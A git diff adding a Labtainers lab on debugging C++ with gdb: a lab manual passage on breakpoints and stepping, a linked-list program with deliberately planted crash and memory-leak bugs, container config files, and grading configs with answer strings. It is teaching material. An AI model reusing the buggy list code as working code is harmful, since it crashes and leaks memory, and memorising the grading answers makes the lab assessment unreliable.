to what we knew about the current method and the local variables, we can now also see what methods called us and what their parameters were. For example, we can see that we were called by $LinkedList::remove ()$ where the parameter item\_to\_remove is at address 0x7fffffffe43c. It may help us to understand our bug if we know the value of item\_to\_remove, so we want to see the value at the address of item\_to\_remove. This can be done using the x command using the address as a parameter. ("x" can be thought of as being short for "examine".) Here is the result of running the command: + +\begin{verbatim} +(gdb) x 0x7fffffffe43c +0x7fffffffe43c: 0x00000001 +(gdb) +\end{verbatim} + +So the program is crashing while trying to run $LinkedList::remove$ with a parameter of 1. We have now narrowed the problem down to a specific function and a specific value for the parameter. + +\subsection{Conditional breakpoints} +Now that we know where and when the segfault is occuring, we want to watch what the program is doing right before it crashes. One way to do this is to step through, one at a time, every statement of the program until we get to the point of execution where we want to see what is happening. This works, but sometimes you may want to just run to a particular section of code and stop execution at that point so you can examine data at that location. +If you have ever used a debugger you are probably familiar with the concept of breakpoints. Basically, a breakpoint is a line in the source code where the debugger should break execution. In our example, we want to look at the code in $LinkedList::remove()$ so we would want to set a breakpoint at line 52 of main.cc.\footnote{While gdb lets you set a break at the start of a function, e.g., break $LinkedList::remove$, gdb breaks 64-bit applications +prior to execution of the function, e.g., at line 51 in our example, making such breakpoints less useful.} + +\begin{verbatim} +(gdb) break 52 +Breakpoint 1 at 0x29fa0: file main.cc, line 52. +(gdb) +\end{verbatim} +So now Breakpoint 1 is set at main.cc, line 52 as desired. (The reason the breakpoint gets a number is so we can refer to the breakpoint later, for example if we want to delete it.) So when the program is run, it will return control to the debugger everytime it reaches line 52. This may not be desirable if the method is called many times but only has problems with certain values that are passed. Conditional breakpoints can help us here. For our example, we know that the program crashes when $LinkedList::remove()$ is called with a value of 1. So we might want to tell the debugger to only break at line 52 if item\_to\_remove is equal to 1. This can be done by issuing the following command: +\begin{verbatim} +(gdb) condition 1 item_to_remove==1 +(gdb) +\end{verbatim} +This basically says "Only break at Breakpoint 1 if the value of item\_to\_remove is 1." Now we can run the program and know that the debugger will only break here when the specified condition is true.\footnote{An alternate syntax would have been to use {\tt break 52 if item\_to\_remove==1}} + +\subsection{Stepping} +Continuing with the example above, we have set a conditional breakpoint and now want to go through this method one line at a time and see if we can locate the source of the error. This is accomplished using the step command. gdb has the nice feature that when enter is pressed without typing a command, the last command is automatically used. That way we can step through by simply tapping the enter key after the first step has been entered. Here is what this looks like: +\begin{verbatim} +(gdb) run +Start it from the beginning? (y or n) y +Starting program: /home/ubuntu/main +Creating Node, 1 are in existence right now +Creating Node, 2 are in existence right now +Creating Node, 3 are in existence right now +Creating Node, 4 are in existence right now +The fully created list is: +4 +3 +2 +1 + +Now removing elements: +Creating Node, 5 are in existence right now +Destroying Node, 4 are in existence right now +4 +3 +2 +1 + + +Breakpoint 1, LinkedList::remove (this=0x55555556aeb0, + item_to_remove=@0x7fffffffe43c: 1) + at main.cc:52 +52 Node *marker = head_; +(gdb) step +53 Node *temp = 0; // temp points to one behind as we iterate +(gdb) +55 while (marker != 0) { +(gdb) +56 if (marker->value() == item_to_remove) { +(gdb) +Node::value (this=0x7ffff7f1444e ) at main.cc:30 +30 const T& value () const { return value_; } +(gdb) +LinkedList::remove (this=0x55555556aeb0, item_to_remove=@0x7fffffffe43c: + 1) at main.cc:75 +75 marker = 0; // reset the marker +(gdb) +76 temp = marker; +(gdb) +77 marker = marker->next(); +(gdb) +Node::next (this=0x55555556b360) at main.cc:28 +28 Node* next () const { return next_; } +(gdb) + +Program received signal SIGSEGV, Segmentation fault. +0x000055555555586c in Node::next (this=0x0) at main.cc:28 +28 Node* next () const { return next_; } + +(gdb) +\end{verbatim} +After typing run, gdb asks us if we want to restart the program, which we do. It then proceeds to run and breaks at the desired location in the program. Then we type step and proceed to hit enter to step through the program. Note that the debugger steps into functions that are called. If you don't want to do this, you can use next instead of step which otherwise has the same behavior. +The error in the program is obvious. At line 75 marker is set to 0, but at line 77 a member of marker is accessed. Since the program can't access memory location 0, the seg fault occurs. In this example, nothing has to be done to marker and the error can be avoided by simply removing line 75 from main.cc. + +If you look at the output from running the program, you will see first of all that the program runs without crashing, but there is a memory leak somewhere in the program. (Hint: It is in the $LinkedList::remove() function$. One of the cases for remove doesn't work properly.) It is left as an exercise to the reader to use the debugger in locating and fixing this bug. + +gdb can be exited by typing quit. + +Further information +This document only covers the bare minimum number of commands necessary to get started using gdb. For more information about gdb see the gdb man page or take a look at a very long description of gdb here. Online help can be accessed by typing help while running gdb. + +\section{Notes} +There is another bug in the source code for the linked list that is not mentioned in the above code. The bug does not show up for the sequence of inserts and removes that are in the provided driver code, but for other sequences the bug shows up. For example, inserting 1, 2, 3, and 4, and then trying to remove 2 will show the error. The bug fix is pretty simple and is left as an exercise. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/header.tex new file mode 100644 index 000000000..2638c3a78 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/header.tex @@ -0,0 +1,120 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under sponsorship from + the National Science Foundation Award Number 1932950. This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/read_first.txt new file mode 100644 index 000000000..6f5c94538 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/read_first.txt @@ -0,0 +1,5 @@ +The lab manual is at + file://LAB_DOCS/gdb-cpp.pdf + +You may open these by right clicking +and select "Open Link". diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/Makefile new file mode 100644 index 000000000..f309c1be2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/Makefile @@ -0,0 +1,8 @@ +CXX = g++ +FLAGS = -ggdb -Wall + +main: main.cc + ${CXX} ${FLAGS} -o main main.cc + +clean: + rm -f main diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_bin/treataslocal new file mode 100644 index 000000000..59ccb367d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_bin/treataslocal @@ -0,0 +1 @@ +gdb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/main.cc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/main.cc new file mode 100644 index 000000000..508e929cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/gdb-cpp/main.cc @@ -0,0 +1,134 @@ +// main.cc +// Andrew Gilpin +// agg1@cec.wustl.edu + +// This file contains the example program used in the gdb debugging +// tutorial. The tutorial can be found on the web at +// http://students.cec.wustl.edu/~agg1/tutorial/ + +#include + +int number_instantiated = 0; + +template +class Node { +public: + Node (const T &value, Node *next = 0) : value_(value), next_(next) { + std::cout << "Creating Node, " + << ++number_instantiated + << " are in existence right now" << std::endl; + } + ~Node () { + std::cout << "Destroying Node, " + << --number_instantiated + << " are in existence right now" << std::endl; + next_ = 0; + } + + Node* next () const { return next_; } + void next (Node *new_next) { next_ = new_next; }; + const T& value () const { return value_; } + void value (const T &value) { value_ = value; } + +private: + Node (); + T value_; + Node *next_; +}; + +template +class LinkedList { +public: + LinkedList () : head_(0) {}; + ~LinkedList () { delete_nodes (); }; + + // returns 0 on success, -1 on failure + int insert (const T &new_item) { + return ((head_ = new Node(new_item, head_)) != 0) ? 0 : -1; + } + + // returns 0 on success, -1 on failure + int remove (const T &item_to_remove) { + Node *marker = head_; + Node *temp = 0; // temp points to one behind as we iterate + + while (marker != 0) { + if (marker->value() == item_to_remove) { + if (temp == 0) { // marker is the first element in the list + if (marker->next() == 0) { + head_ = 0; + delete marker; // marker is the only element in the list + marker = 0; + } else { + head_ = new Node(marker->value(), marker->next()); + delete marker; + marker = 0; + } + return 0; + } else { + temp->next (marker->next()); + delete temp; + temp = 0; + return 0; + } + } + marker = 0; // reset the marker + temp = marker; + marker = marker->next(); + } + + return -1; // failure + } + + void print (void) { + Node *marker = head_; + while (marker != 0) { + std::cout << marker->value() << std::endl; + marker = marker->next(); + } + } + +private: + void delete_nodes (void) { + Node *marker = head_; + while (marker != 0) { + Node *temp = marker; + delete marker; + marker = temp->next(); + } + } + + Node *head_; +}; + +int main (int argc, char **argv) { + LinkedList *list = new LinkedList (); + + list->insert (1); + list->insert (2); + list->insert (3); + list->insert (4); + + std::cout << "The fully created list is:" << std::endl; + list->print (); + + std::cout << std::endl << "Now removing elements:" << std::endl; + list->remove (4); + list->print (); + std::cout << std::endl; + + list->remove (1); + list->print (); + std::cout << std::endl; + + list->remove (2); + list->print (); + std::cout << std::endl; + + list->remove (3); + list->print (); + + delete list; + + return 0; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/instr_config/goals.config new file mode 100644 index 000000000..08070300d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/instr_config/goals.config @@ -0,0 +1,2 @@ +# DOC: How many gdb commands issued by the student +gdb_commands = value : gdb_commands diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/instr_config/results.config new file mode 100644 index 000000000..78bb792e0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/instr_config/results.config @@ -0,0 +1 @@ +gdb_commands = gdb.stdin : LINE_COUNT diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/keywords.txt new file mode 100644 index 000000000..2b2671d32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/keywords.txt @@ -0,0 +1,2 @@ +gdb +debug diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/gdblesson.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/gdblesson.pdf index bc26c14a0..31026e158 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/gdblesson.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/gdblesson.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath.c index 8db18feb0..c60981811 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath.c +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath.c @@ -8,8 +8,8 @@ void main() { count = 15; while(count > 0) { /* Modify this line only */ total = count / num; + printf("%d divided by %d is: %d\n", count, num, total); count--; num--; - printf("Total is: %d\n", total); } } diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath2.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath2.c index 6c62192e1..cdb77b0ad 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath2.c +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath2.c @@ -23,7 +23,7 @@ void main(int argc, char *argv[]) { } } total = abs(total); - printf("The value of 1 should be 3.\nThe value of 2 should be 7.\nThe value of 3 should be 14.\nThe value of 4 should be 22.\nYour total is: %d\n", total); + printf("The result of 1 should be 3.\nThe result of 2 should be 7.\nThe result of 3 should be 14.\nThe result of 4 should be 22.\nYour total is: %d\n", total); } diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/goals.config index d94d7a754..5c720c667 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/goals.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/goals.config @@ -1,6 +1,5 @@ # goals.config # # NOTE: intern-developed lab, not necessarily a suitable example -smx_task_a = matchany : string_equal : smx_check_one : answer=Total smx_task_b = matchany : string_equal : smx_check_two : answer=The correct_check_a = matchany : integer_equal : correct_check_one : answer=7 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/results.config index 084211070..c2c9d77ca 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/results.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/results.config @@ -2,7 +2,6 @@ # # NOTE: intern-developed lab, not necessarily a suitable example gcc_task_one = gcc.stdin : CONTAINS : -g sampleMath.c -o sampleMath -smx_check_one = sampleMath.stdout : 1 : STARTSWITH : Total smx_check_two = sampleMath2.stdout : 1 : STARTSWITH : The gdb_run_task = gdb.stdin : CONTAINS : r gdb_list_task = gdb.stdin : CONTAINS : l diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/about.txt new file mode 100644 index 000000000..fa2c7f782 --- /dev/null 